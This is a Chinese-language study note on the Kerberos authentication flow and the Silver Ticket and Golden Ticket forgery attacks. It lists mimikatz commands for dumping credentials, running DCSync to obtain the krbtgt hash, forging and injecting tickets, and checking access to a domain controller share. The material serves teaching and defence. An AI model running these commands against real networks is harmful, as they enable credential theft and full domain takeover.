算是学习之后总结记录,加深自己的理解,这里我是参考了倾旋师傅的讲解,感觉讲的比较好,加入自己的理解和一些其他东西写下来,分享出来,也方便自己回顾知识和补充
还有画图的问题,我自己画的太费劲了而且也看不明白,索性我就自己手画了几个,方便自己理解和熟悉流程,感觉不错,手动狗头,哈哈
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
Kerberos的标志是三只狗头,分别代表以下角色:
名词基本概念:
KDC: Key Distribution Center,密钥分发中心,负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由AS和TGS组成。
AD: Account Database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT。
(物理方面 KDC和AD 都是一个机子)
TGT: Ticket Granting Ticket = 入场券,通过入场券能够获得票据,是一种临时凭证的存在。
AS(Authentication Server)= 认证服务器,为client生成TGT的服务
TGS(Ticket Granting Server)= 票据授权服务器
SS(Service Server)= 特定服务提供端
Client 上的用户请求KDC服务,最后AS服务生产TGT,返回给Client
Client 使用TGT请求KDC上的TGS得到ST(TGS ticket)真正访问的票据
Client使用ST(TGS Ticket)访问Server
1.Client发送自己的身份信息到KDC(身份信息中起码包含用户名),KDC根据用户名在AD中寻找是否在白名单中,然后根据用户名提取到对应的NTLM Hash。
2 .KDC此时生成一个随机字符串Session Key,使用客户端的NTLM Hash加密Session Key,作为AS数据,使用KDC中krbtgt用户的NTLM Hash加密Session Key和客户端的信息,生成TGT。
第一部分:获取了 TGT
注:客户端收到 TGT 是无法解密的,KDC返回的TGT客户端是无法解密的,因为它没有KDC Hash,KDC Hash指的就是是krbtgt 的hash
这就是伪造黄金票据的原理,这个是后面还会有介绍。
1.客户端使用自己NTLM Hash解密出来的Session Key加密的客户端信息跟时间戳。
如果假设这个数据被中间人窃取到,也无法在段时间内破解,因为KDC会校验时间戳。
2.KDC接到TGT与其他内容后,会首先解密TGT,只有KDC可以解密TGT,从TGT中提取到Session Key,再使用Session Key解密其他内容,解密出来的内容同TGT中的信息进行校验来确认客户端是否受信。
3.验证通过后,就会生成一个新的Session Key,我们称之为Server Session Key
这个Server Session Key主要用于和服务器进行通信。同时还会生成一个Ticket,也就是最后的票据了。
注释:Server Hash:这个Hash是在AD中服务器计算机的NTLM Hash。
客户端向服务器请求,需要提供Ticket,Server Session Key加密的客户端信息与时间戳。
1 Ticket客户端无法解密,因为没有 Server hash,只能发送给 sever端
2 服务器端通过自己的hash解密Ticket,得到解密Server Session Key(Client info + Timestamp)
3 用刚刚解密的Session Key,解开Client info + Timestamp,验证客户端信息和时间戳
校验通过后,认证成功,该票据会一直存在客户端内存中,最后成功登陆
其中白银票据的伪造就发生在这一步的认证中,下面会介绍
白银票据前提:
1.不需要与KDC进行交互,直接和server认证
2.需要目标服务的NTLM Hash
在第三步认证中的Ticket的组成:
Ticket=Server Hash(Server Session Key+Client info+End Time)
原理:
如果我们拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket,直接去server端去验证。
注:服务器是不知道Server Session Key是什么的,服务器的Server Session Key是解密ticket获得的,所以一切凭据的核心在Server Hash,有了它就开业直接伪造票据认证。
首先需要导出Server Hash:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
或MSF模块
meterpreter > load mimikatz
meterpreter > msv
伪造票据:
清空当前系统的票据
klist purge
伪造票据
mimikatz.exe “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt" exit
mimikatz.exe "kerberos::golden /domain:zeo.com /sid:S-1-5-21-1111111111-111111111-11111111111 /target:DC.zeo.com /service:CIFS /rc4:7c4a8d09ca3762af61e59520943dc26494f8941b /user:admin /ptt" exit
验证权限
dir \\DC\c$
由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据。因此只能针对服务器 上的某些服务去伪造,伪造的服务类型列表如下:
服务注释 | 服务名 |
---|---|
WMI | HOST、RPCSS |
Powershell Remoteing | HOST、HTTP |
WinRM | HOST、HTTP |
Scheduled Tasks | HOST |
LDAP 、DCSync | LDAP |
Windows File Share (CIFS) | CIFS |
Windows Remote ServerAdministration Tools | RPCSS、LDAP、CIFS |
黄金票据前提:
1.需要与DC通信
2.需要krbtgt用户的hash(也就是说要拿下域控制器)
黄金票据原理:
就是伪造的TGT,它会在第二步认证被发送到KDC的TGS,如果我们有了krbtgt用户的hash就可以直接伪造TGT,其中的KDC需要的session key,是KDC解密TGT之后获取的,所以session key也是和TGT一起伪造的,那么后续的认证,就可以随意的制造想要的票据了。
管理员权限运行mimikatz,获取关键krbtgt hash
mimikatz.exe "lsadump::dcsync /user:krbtgt" exit
获取域中所有用户SID
只要是域用户权限就行,去掉SID最后的数字
wmic useraccount get name,sid
清空现有票据
mimikatz.exe "kerberos::purge" exit
生成票据
mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4: /user:<任意用户名> /ptt" exit
还有一个简单的用法,cobalt strike中直接有一项黄金票据生产,十分方便。
将票据注入内存
mimikatz.exe "kerberos::ptt Administrator.kiribi" exit
当前会话中的票据
mimikatz.exe "kerberos::tgt" exit
权限验证
dir \\DC\c$
黄金票据 | 白银票据 | |
---|---|---|
访问权限 | 伪造TGT,可以获取任何Kerberos服务权限 | 伪造TGS,只能访问指定的服务 |
加密方式 | 由Kerberos的Hash加密 | Silver Ticket由服务账号Hash加密 |
认证流程 | 需要访问域控认证,属于第二步认证 | 直接和服务器认,最后一步认证 |
https://payloads.online/archivers/2018-11-30/1